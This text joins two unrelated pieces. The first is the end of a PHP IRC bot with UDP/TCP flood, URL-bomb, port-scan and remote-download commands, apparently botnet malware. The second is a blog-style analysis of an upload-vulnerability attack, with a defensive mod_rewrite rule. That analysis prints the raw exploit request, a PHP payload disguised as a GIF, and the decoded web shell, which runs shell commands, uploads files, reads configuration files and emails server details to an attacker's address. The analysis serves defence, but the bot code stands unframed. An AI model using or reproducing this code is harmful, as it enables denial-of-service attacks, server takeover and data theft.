                            $vuln = "http://".$server_name.$req_uri;
                            $this->privmsg( $this->get_chan( ), "[ getvuln ] ".$vuln );
                          }
                        }
                        break;
                      }
                      case "download":
                      {
                        if( count( $mcmd ) > 2 )
                        {
                          if( !$fp = fopen( $mcmd[ 2 ], "w" ) )
                          {
                            $this->privmsg( $this->get_chan( ), "[ download ] Permission denied!" );
                          }
                          else
                          {
                            if( !$get = file( $mcmd[ 1 ] ) )
                            {
                              $this->privmsg( $this->get_chan( ), "[ download ] Download failed!" );
                            }
                            else
                            {
                              for( $i=0; $i <= count( $get ); $i++ )
                              {
                                fwrite( $fp, $get[ $i ] );
                              }
                              $this->privmsg( $this->get_chan( ),"[ download ] URL [".$mcmd[ 1 ]."] to [".$mcmd[ 2 ]."]");
                            }
                            fclose( $fp );
                          }
                        }
                        else
                        {
                          $this->privmsg( $this->get_chan( ), "[ download ] Invalid Parameters, idiot!" );
                        }
                        break;
                      }
                      case "pmsg":
                      {
                        $person = $mcmd[1];
                        $text = substr( strstr( $msg, $mcmd[1] ), strlen( $mcmd[1] ) + 1 );
                        $this->privmsg( $this->get_chan( ), "[ pmsg ] ".$person." => ".$text );
                        $this->privmsg( $person, $text );
                        break;
                      }
                      case "pscan":
                      {
                        $host = $mcmd[1];
                        $beginport = $mcmd[2];
                        $endport = $mcmd[3];
                        $open_ports = "Open Port List for ".$host.": ";

                        for($i = $beginport; $i < $endport; $i++)
                        {
                          if( $this->scanport( $host, $i ) )
                          {
                            $open_ports .= "|".$i;
                          }
                        }

                        $this->privmsg( $this->get_chan( ), $open_ports );
                        break;
                      }
                      case "software":
                      {
                        $this->privmsg( $this->get_chan( ), $_SERVER[ 'SERVER_SOFTWARE' ] );
                        break;
                      }
                      case "snf":
                      {
                        $this->config[ 'nickform' ] = $mcmd[ 1 ];
                        $this->privmsg( $this->get_chan( ), "Nickname format set to [ ".$mcmd[ 1 ]." ]" );
                        break;
                      }
                      case "randnick":
                      {
                        $this->set_nick();
                        break;
                      }
                      case "unauth":
                      {
                        $this->remove_auth( $host );
                        $this->privmsg( $this->get_chan( ), "[ auth ] Logout [ ".$nick." ]" );
                        break;
                      }
                      case "urlbomb":
                      {
                        $this->urlbomb( $mcmd[ 1 ], $mcmd[ 2 ], $mcmd[ 3 ] );
                        break;
                      }
                      case "udpflood":
                      {
                        if( count( $mcmd ) > 3 )
                        {
                          $this->udpflood($mcmd[1],$mcmd[2],$mcmd[3]);
                        }
                        break;
                      }
                      case "tcpflood":
                      {
                         if( count( $mcmd ) > 5 )
                         {
                           $this->tcpflood($mcmd[1],$mcmd[2],$mcmd[3],$mcmd[4],$mcmd[5]);
                         }
                         break;
                      }
                    }
                  }
                }
              break;
            }
          }
        }
        $old_buf = $this->buf;
      }
      $this->start();
    }

    function scanport( $host, $port )
    {
      if( fsockopen( $host, $port, $e, $s ) )
      {
        return 1;
      }
      return 0;
    }

    function urlbomb( $host, $path, $times, $mode = 0 )
    {
      if( !isset( $host ) || !isset( $path ) || !isset( $times ) )
        return;

      $this->privmsg( $this->get_chan( ), '[ urlbomb ] started! [ '.$host.'/'.$path.' ]' );

      $success = 0;
      for( $i = 0; $i < $times; $i++ )
      {
        $fp = fsockopen( $host, 80, $errno, $errstr, 30 );
        if( $fp )
        {
          $out = "GET /".$path." HTTP/1.1\r\n";
          $out .= "Host: ".$host."\r\n";
          $out .= "Keep-Alive: 300\r\n";
          $out .= "Connection: keep-alive\r\n\r\n";
          fwrite( $fp, $out );

          if( $mode != 0 )
          {
            while(!feof($fp)){/*do nothing*/}
          }

          fclose( $fp );

          $success++;
        }
      }

      $this->privmsg( $this->get_chan( ), '[ urlbomb ] finished! [ '.$host.'/'.$path.' ][ success: '.$success.' ]' );
    }

    function udpflood( $host, $packetsize, $time )
    {
      $this->privmsg( $this->get_chan( ),"[ udpflood ] Started [".$host."]" );
      $packet = "";
      for($i=0;$i<$packetsize;$i++) { $packet .= chr(mt_rand(1,256)); }
      $timei = time();
      $i = 0;
      while(time()-$timei < $time)
      {
        $fp=fsockopen("udp://".$host,mt_rand(0,6000),$e,$s,5);
        fwrite($fp,$packet);
        fclose($fp);
        $i++;
      }
      $env = $i * $packetsize;
      $env = $env / 1048576;
      $vel = $env / $time;
      $vel = round($vel);
      $env = round($env);
      $this->privmsg( $this->get_chan( ),"[ udpflood ] $env MB Sent / $vel MB/s ");
    }

    function tcpflood($host,$packets,$packetsize,$port,$delay)
    {
      $this->privmsg( $this->get_chan( ),"[\2TcpFlood Started!\2]");
      $packet = "";
      for($i=0;$i<$packetsize;$i++)
        $packet .= chr(mt_rand(1,256));

      for($i=0;$i<$packets;$i++)
      {
        if(!$fp=fsockopen("tcp://".$host,$port,$e,$s,5))
          {
          $this->privmsg( $this->get_chan( ),"[\2TcpFlood\2]: Error: <$e>");
            return 0;
           }
           else
           {
          fwrite($fp,$packet);
          fclose($fp);
        }
           sleep($delay);
      }
      $this->privmsg( $this->get_chan( ),"[\2TcpFlood Finished!\2]: Config - $packets for $host:$port.");
    }

    function send($msg)
    {
      fwrite($this->conn,"$msg\r\n");
    }

    function join($chan,$key=NULL)
    {
      $this->send("JOIN $chan $key");
    }

    function privmsg($to,$msg)
    {
      $this->send("PRIVMSG $to :$msg");
    }

    function notice($to,$msg)
    {
      $this->send("NOTICE $to :$msg");
    }

     function set_nick()
     {
      $prefix = "[lnx]";
      if(isset($_SERVER['SERVER_SOFTWARE']))
      {
        if( strstr( strtolower( $_SERVER[ 'SERVER_SOFTWARE' ] ), "apache" ) )
          $prefix = "[A]";
        elseif( strstr( strtolower( $_SERVER[ 'SERVER_SOFTWARE' ] ), "iis" ) )
          $prefix = "[I]";
        elseif( strstr( strtolower( $_SERVER[ 'SERVER_SOFTWARE' ] ), "xitami" ) )
          $prefix = "[X]";
        else
          $prefix = "[U]";
      }

      if( !$this->is_safe( ) )
      {
        $prefix .= "[win32]";
      }

      $random_number = "";
      for( $i = 0; $i < $this->config[ 'maxrand' ]; $i++ )
      {
        $random_number .= mt_rand( 0, 9 );
      }

      $this->nick = sprintf( $prefix.$this->config[ 'nickform' ], $random_number );
      $this->send("NICK ".$this->nick);
     }

    function parse_url_s( $url )
    {
      $URLpcs = ( parse_url( $url ) );
      $PathPcs = explode( "/", $URLpcs['path'] );
      $URLpcs['file'] = end( $PathPcs );
      unset( $PathPcs[ key( $PathPcs ) ] );
      $URLpcs['dir'] = implode("/",$PathPcs);

      $fileext = explode( '.', $URLpcs['file'] );

      if(count($fileext))
      {
        $URLpcs['file_ext'] = $fileext[ count( $fileext ) - 1 ];
      }

      return ($URLpcs);
    }
  }

  $bot = new pBot;
  $bot->start();

?>

Analysis of attempt to exploit ninja-applications fufu controllers uploader vulnerability

Looking at my web server logs I noticed a new attack signature:

POST //ninja-applications/fufu/controllers/uploader/upload.php HTTP/1.1

With user-agent libwww-perl/5.808

Note that my server was not infected because I use Apache mod_rewrite rules to reject malformed requests. In this case my rule against consecutive slashes caught the attack:

# A surprising amount of malware sends URIs with two leading slashes. While
# technically not illegal it is an extremely strong malware signal. No
# legitimate browser or web crawler would do that.
RewriteCond %{REQUEST_URI} !=/favicon.ico
RewriteCond %{THE_REQUEST} ^\S+\s+// [NC]
RewriteRule ^ /blocked.php [END,E=error-notes:invalid-uri]

Searching Google for that path turns up lots of matches on porn sites. Apparently this is a very popular piece of code in that industry. I did find one hit on the second result page:

google search result

[~] [Shell Upload:] Ninja Application File Upload Vulnerability ...
hackforums.net/showthread.php?tid=4993982
3 days ago - 3 posts - ‎2 authors
Today I Will Show You How To Upload Shell/File To Website Using ... Exploit: localhost/ninja-applications/fufu/controllers/uploader/upload.php.

Adding the word “vulnerability” to the search returned far fewer results. It looks like the earliest public discussion of this vulnerability is three weeks ago on 2015-09-02. And the few search results I looked were all aimed at telling other hackers how to exploit the vulnerability. So apparently this is a recently found security vulnerability and thus I suspect I’ll see many more attacks against this path in the future.

The contents of this particular attack were:

POST //ninja-applications/fufu/controllers/uploader/upload.php HTTP/1.1
TE: deflate,gzip;q=0.3
Connection: TE, close
Host: www.skepticism.us
User-Agent: libwww-perl/5.808
Content-Length: 1927
Content-Type: multipart/form-data; boundary=xYzZY

--xYzZY
Content-Disposition: form-data; name="file"; filename="myluph.jpg"
Content-Type: image/jpeg

GIF89a^A?^A??????????!??^D^A????,????^A?^A??^B^BD^A?;?< ?php
set_time_limit(0);
error_reporting(0);

eval(gzinflate(str_rot13(base64_decode('zUlbQttVFH5eJP7DMBvJj…')))); ?>
--xYzZY
Content-Disposition: form-data; name="name"

myluph.php
--xYzZY--

The uploaded file is identified as a “GIF image data, version 89a, 16129 x 16129” by the UNIX file command. Replacing the eval with print and executing the file (it doesn’t matter if you leave the GIF header intact) via php -f myluph.jpg > myluph.php results in the content below in myluph.php. As you can see it’s a very basic backdoor. It allows for uploading arbitrary files, executing arbitrary shell commands, and has one special command “baca” to return the file ../../configuration.php. When invoked it sends email to jalangsaya@gmail.com with a subject line that begins “Hasil Bajakan” followed by information identifying the infected server.

if (!isset($_SESSION['bajak'])) {
$visitcount = 0;
$web = $_SERVER["HTTP_HOST"];
$inj = $_SERVER["REQUEST_URI"];
$body = "Target ditemukan \n$web$inj";
$safem0de = @ini_get('safe_mode');
if (!$safem0de) {$security= "SAFE_MODE = OFF";}
else {$security= "SAFE_MODE = ON";};
$serper=gethostbyname($_SERVER['SERVER_ADDR']);
$injektor = gethostbyname($_SERVER['REMOTE_ADDR']);
mail("jalangsaya@gmail.com", "$body","Hasil Bajakan http://$web$inj\n$security\nIP Server = $serper\n IP Injector= $injektor");
mail("jalangsaya@gmail.com", "$body","Hasil Bajakan http://$web$inj\n$security\nIP Server = $serper\n IP Injector= $injektor");
$_SESSION['bajak'] = 1;
}
else {$_SESSION['bajak']++;};
if(isset($_GET['clone'])){
$source = $_SERVER['SCRIPT_FILENAME'];
$desti =$_SERVER['DOCUMENT_ROOT']."/.libs.php";
rename($source, $desti);
}
$safem0de = @ini_get('safe_mode');
if (!$safem0de) {$security= "SAFE_MODE : OFF jalanG";}
else {$security= "SAFE_MODE : ON jalanG";}
echo "<title>jalanG</title><br>";
$dataku = "POWERED BY jalanG";
$dataku2 = "ready fresh tools SHELLS FTP CPANEL RDP MAILER";
$dataku3 = "Contact Admin YM :ready.buyer";
echo "<font size=2 color=blue><b>".$dataku."</b><br>";
echo "<font size=2 color=red><b>".$dataku2."</b><br>";
echo "<font size=2 color=blue><b>".$dataku3."</b><br>";
echo "<font size=2 color=#888888><b>".$security."</b><br>";
$cur_user="(".get_current_user().")";
echo "<font size=2 color=#888888><b>User : uid=".getmyuid().$cur_user." gid=".getmygid().$cur_user."</b><br>";
echo "<font size=2 color=#888888><b>Uname : ".php_uname()."</b><br>";
function pwd() {
$cwd = getcwd();
if($u=strrpos($cwd,'/')){
if($u!=strlen($cwd)-1){
return $cwd.'/';}
else{return $cwd;};
}
elseif($u=strrpos($cwd,'\\')){
if($u!=strlen($cwd)-1){
return $cwd.'\\';}
else{return $cwd;};
};
}
echo '<form method="POST" action=""><font size=2 color=#888888><b>Command</b><br><input type="text" name="cmd"><input type="Submit" name="command" value="cok"></form>';
echo '<form enctype="multipart/form-data" action method=POST><font size=2 color=#888888><b>Upload File</b></font><br><input type=hidden name="submit"><input type=file name="userfile" size=28><br><font size=2 color=#888888><b>New name: </b></font><input type=text size=15 name="newname" class=ta><input type=submit class="bt" value="Upload"></form>';
if(isset($_POST['submit'])){
$uploaddir = pwd();
if(!$name=$_POST['newname']){$name = $_FILES['userfile']['name'];};
move_uploaded_file($_FILES['userfile']['tmp_name'], $uploaddir.$name);
if(move_uploaded_file($_FILES['userfile']['tmp_name'], $uploaddir.$name)){
echo "Upload Failed";
} else { echo "Upload Success to ".$uploaddir.$name." Succes! "; }
}
if(isset($_POST['command'])){
$cmd = $_POST['cmd'];
echo "<pre><font size=3 color=#000000>".shell_exec($cmd)."</font></pre>";
}
elseif(isset($_GET['cmd'])){
$comd = $_GET['cmd'];
echo "<pre><font size=3 color=#000000>".shell_exec($comd)."</font></pre>";
}
else { echo "<pre><font size=3 color=#000000>".shell_exec('ls -la')."</font></pre>";
}

if(isset($_GET['baca'])){
$conf = file_get_contents("../../configuration.php");
echo $conf;
}